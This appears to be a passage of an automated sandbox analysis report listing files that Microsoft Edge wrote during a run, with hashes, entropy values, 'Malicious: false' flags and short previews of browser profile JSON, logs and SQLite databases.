C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0a4fca47-f0a6-432c-8dbd-bbe6a40eee2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1887818c-d70d-4bf1-855a-fc139a617759.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\345dc522-2289-4031-8f55-ade0ede8b018.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a7ca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3b0f2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a2d9dd99-74cb-4b1c-9579-843aba6bc634.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d8bc654f-7152-410b-aa42-c31b51b85fc7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.226140018801812
Encrypted:	false
SSDEEP:	12:Pjv4YebvqBZFUt80OW/+0nz5LYebvqBaJ:b4Yebvyg8falLYebvL
MD5:	EB7125BBB4F5EF765C67F86EFAA998C8
SHA1:	E8073AC4F74A3D1D553CC3252FDB626CDE4DB35E
SHA-256:	3362C549CCD07ECED48BE36B25E65631993458E43AAF15FB641124A1BE950C09
SHA-512:	DDD7860AC82BBA78DB8D92690C78B35DF879728C80C5B695609EB0FC8F9B26583A6345579042587252710E88A12FB9831F628E6822864208286274B6B2230BA0
Malicious:	false
Preview:	2024/11/16-07:01:48.766 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/16-07:01:48.767 1cd4 Recovering log #3.2024/11/16-07:01:48.770 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.226140018801812
Encrypted:	false
SSDEEP:	12:Pjv4YebvqBZFUt80OW/+0nz5LYebvqBaJ:b4Yebvyg8falLYebvL
MD5:	EB7125BBB4F5EF765C67F86EFAA998C8
SHA1:	E8073AC4F74A3D1D553CC3252FDB626CDE4DB35E
SHA-256:	3362C549CCD07ECED48BE36B25E65631993458E43AAF15FB641124A1BE950C09
SHA-512:	DDD7860AC82BBA78DB8D92690C78B35DF879728C80C5B695609EB0FC8F9B26583A6345579042587252710E88A12FB9831F628E6822864208286274B6B2230BA0
Malicious:	false
Preview:	2024/11/16-07:01:48.766 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/16-07:01:48.767 1cd4 Recovering log #3.2024/11/16-07:01:48.770 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.183855118916794
Encrypted:	false
SSDEEP:	6:HUafXmU/q2P923oH+TcwtpIFUt8YUafXmUyZmw+YUafX3zkwO923oH+Tcwta/WLJ:P/mWv4YebmFUt80/mP/+0/3z5LYebaUJ
MD5:	C8EE1BC3483024A1D5CE32DAA3CC823A
SHA1:	FD37AAA13801924C01880D3BD048C408C1185705
SHA-256:	62DB6A717C4D5EB651EEB02DD77CEFA56A1B7136CFFA5B7841FBC5D9FA8120C5
SHA-512:	324C8881EEB66DD30717505D9EBD503D81FC97B479075482C798F4486A1955E594E77D7AA6CC51DE420E7389CB0183C980FB19F38E4CA847E039C990758E3D48
Malicious:	false
Preview:	2024/11/16-07:01:28.720 1eb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/16-07:01:28.720 1eb4 Recovering log #3.2024/11/16-07:01:28.721 1eb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.183855118916794
Encrypted:	false
SSDEEP:	6:HUafXmU/q2P923oH+TcwtpIFUt8YUafXmUyZmw+YUafX3zkwO923oH+Tcwta/WLJ:P/mWv4YebmFUt80/mP/+0/3z5LYebaUJ
MD5:	C8EE1BC3483024A1D5CE32DAA3CC823A
SHA1:	FD37AAA13801924C01880D3BD048C408C1185705
SHA-256:	62DB6A717C4D5EB651EEB02DD77CEFA56A1B7136CFFA5B7841FBC5D9FA8120C5
SHA-512:	324C8881EEB66DD30717505D9EBD503D81FC97B479075482C798F4486A1955E594E77D7AA6CC51DE420E7389CB0183C980FB19F38E4CA847E039C990758E3D48
Malicious:	false
Preview:	2024/11/16-07:01:28.720 1eb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/16-07:01:28.720 1eb4 Recovering log #3.2024/11/16-07:01:28.721 1eb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265215429932195
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMwSAELyKOMq+8yC8F/YfU5m+OlTLVumH:Bq+n0Jw9ELyKOMq+8y9/Oww
MD5:	D8D21337D6695D0CBFF159503EEF91B2
SHA1:	E8FFA011144A489A8DDD04E40281CF169BEAEEFB
SHA-256:	D48FC45D585778FC05A78681B6515A64060FF3F825E148D3962438A71B192DD9
SHA-512:	2ED7A78B323E3CF5FF105FCB2E0A2DB2FE4C16F9CC4DCB6B8EA871C5DAF11DFA5695AF4BC3132DDFA536C8F609908E1F8ECE48E581AC718D732B742B0202AD34
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4669473916288412
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB08Tl:v7doKsKuKZKlZNmu46yjx0I
MD5:	5016A567F3F2C0B5EAE2547E5843FD99
SHA1:	1ACD4B1EE5EC67B601E51DB77E0A437DC02D3FF7
SHA-256:	F42ABE694035322B436205F7B4AD7AD9230E895D83F49ACB4D4F1C78E1FC393E
SHA-512:	73A981E98F4C83083F3C8F6FF3EB5FB29314E3D95BD07F01001BD60704DCC45626FE710367B0E103E604898CC783EB22BF469DFBEE50083A8E96C443A5CEADB2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ac2e0ab2-0e71-42dd-8dd3-c50b7ad1306f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13779
Entropy (8bit):	5.231134133926621
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuyp2ks+H5sZihUkVvNdiDe78HbV+FOMQwo66WI9aFIMYgc:st8PGKSu42ksI5fhXmbGpQwZ6WMaTY9
MD5:	C64D5F8A118D6A5052BB994140E902C7
SHA1:	5101F461191617CE532E4C87806C5F99C83B5464
SHA-256:	836E85798D7D5A230C9780A6620FC0FF8B6B8B641C3BCD8EB89A807A934FF18F
SHA-512:	19CE1C1F11B69A35F5E15E5BEAFC71BEA39DC6C4E7905E7D36A6EE5B0C410CF8551AAD9CF041022F2DCB0F4C3B8AFCF92F3A63FF9550C90C85F895DCEC7D1877
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\be6250e8-ad1c-466e-b799-50d8a2ab6ae7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c9465c0b-d97f-4eb0-b4f7-7958ff35e582.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e236d182-431c-41c6-8803-98c7cfc59489.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17502), with no line terminators
Category:	dropped
Size (bytes):	17506
Entropy (8bit):	5.477757750890485
Encrypted:	false
SSDEEP:	384:st8PGKSu42ksI5fhdEdW94mbGpQwZ6WHlaTY9:s6Oxu3Q5fsmbG6O5aTY9
MD5:	A1C51164A6707372CDB35D0AAFDFFC0A
SHA1:	839BB03FF1D70660C8180C3F7176345344EFF814
SHA-256:	E85A1656E88040FBCA127E2D13B7FB8986089F7FA3A4569E7BE280340D5C9EA5
SHA-512:	52278FC1C3CD9D556BF5D9E3DECB06B79CA0164CE3C80378EEDED0BF9D68A9597D388D1B96F3270F5D35763E3639BE885FE7601B216C065113C2879EBE59EA53
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10246932684555989
Encrypted:	false
SSDEEP:	12:+q5mE/q5mtspEjVl/PnnnnnnnnnnnvoQ/Eou:+qQ8qQGoPnnnnnnnnnnnv1j
MD5:	06B9388868344B320CCB73B59647CD27
SHA1:	E26D23E5822F8B2F681EAA3C38785A2A2D641AF8
SHA-256:	D4BEE1C0B4BC4A8A1900599ED1E56D0D1FFFFA21ECBE7A6598398463DB2B891C
SHA-512:	E23A173816A8D6489949F11A938797EB49CCDE3A7BFA90447E0A0F7D61351DAF3DE41C6B75216013A8DDC61034AFD438E1637B5714EE2F38CAE4DE394B63179C
Malicious:	false
